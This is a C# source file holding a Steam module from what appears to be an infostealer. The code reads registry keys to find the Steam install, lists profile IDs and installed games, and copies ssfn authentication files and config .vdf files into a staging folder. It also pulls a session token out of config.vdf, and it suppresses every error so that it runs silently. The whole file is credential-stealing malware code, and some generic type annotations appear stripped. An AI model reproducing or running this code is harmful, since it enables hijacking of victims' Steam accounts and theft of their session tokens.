using Microsoft.Win32; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text.RegularExpressions; using System.Threading.Tasks; namespace SHARP { internal class Steam { private static readonly string SteamPath_x64 = "SOFTWARE\\Wow6432Node\\Valve\\Steam"; public static readonly string SteamPath_x32 = "Software\\Valve\\Steam"; private static readonly bool True = true; private static readonly bool False = false; private static readonly string LoginFile = Path.Combine(Steam.GetLocationSteam(), "config\\loginusers.vdf"); public static async Task SteamGet(string head) { try { string path = head + "\\Steam"; RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey(Steam.SteamPath_x32); string str1 = registryKey1.GetValue("SteamPath").ToString(); if (!Directory.Exists(str1) || Steam.GetLocationSteam() == null || Steam.GetAllProfiles() == null) return; Directory.CreateDirectory(path); foreach (string allProfile in Steam.GetAllProfiles()) File.AppendAllText(path + "\\AccountsList.txt", allProfile); foreach (string subKeyName in registryKey1.OpenSubKey("Apps").GetSubKeyNames()) { using (RegistryKey registryKey2 = registryKey1.OpenSubKey("Apps\\" + subKeyName)) { string str2 = (string) registryKey2.GetValue("Name"); string str3 = string.IsNullOrEmpty(str2) ? "Unknown" : str2; File.AppendAllText(path + "\\Games.txt", str3 + "\n"); } } if (Directory.Exists(str1)) { Directory.CreateDirectory(path + "\\ssnf"); foreach (string file in Directory.GetFiles(str1)) { if (file.Contains("ssfn")) File.Copy(file, $"{path}\\ssnf\\{Path.GetFileName(file)}"); } } string str4 = Path.Combine(str1, "config"); if (Directory.Exists(str4)) { Steam.GetToken(str4); Directory.CreateDirectory(path + "\\configs"); foreach (string file in Directory.GetFiles(str4)) { if (file.EndsWith("vdf")) File.Copy(file, $"{path}\\configs\\{Path.GetFileName(file)}"); } } ++Counting.Steam; } catch { } } public static string GetLocationSteam(string Inst = "InstallPath", string Source = "SourceModInstallPath") { try { using (RegistryKey registryKey1 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32)) { using (RegistryKey registryKey2 = registryKey1.OpenSubKey(Steam.SteamPath_x64, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False)) { using (RegistryKey registryKey3 = registryKey1.OpenSubKey(Steam.SteamPath_x32, Environment.Is64BitOperatingSystem ? Steam.True : Steam.False)) return registryKey2?.GetValue(Inst)?.ToString() ?? registryKey3?.GetValue(Source)?.ToString(); } } } catch { return (string) null; } } public static List GetAllProfiles() { try { if (!File.Exists(Steam.LoginFile)) return (List) null; List list = Regex.Matches(File.ReadAllText(Steam.LoginFile), "\\\"76(.*?)\\\"").Cast().Select((Func) (x => "76" + x.Groups[1].Value)).ToList(); List allProfiles = new List(); for (int index = 0; index < list.Count(); ++index) allProfiles.Add($"https://steamcommunity.com/profiles/{list[index]}\n"); return allProfiles; } catch { return (List) null; } } public static void GetToken(string configpath) { string path1 = Path.Combine(configpath, "config.vdf"); string path2 = Path.Combine(Help.ExploitDir, nameof (Steam), "Token.txt"); if (!File.Exists(path1)) return; foreach (string readAllLine in File.ReadAllLines(path1)) { if (readAllLine.Contains("eyAidHlw")) { string str = ((IEnumerable) readAllLine.Replace('\t', '\n').Split('\n')).Last().Replace('"', ' ').Trim(); File.WriteAllText(path2, "Token: " + str); break; } } } } }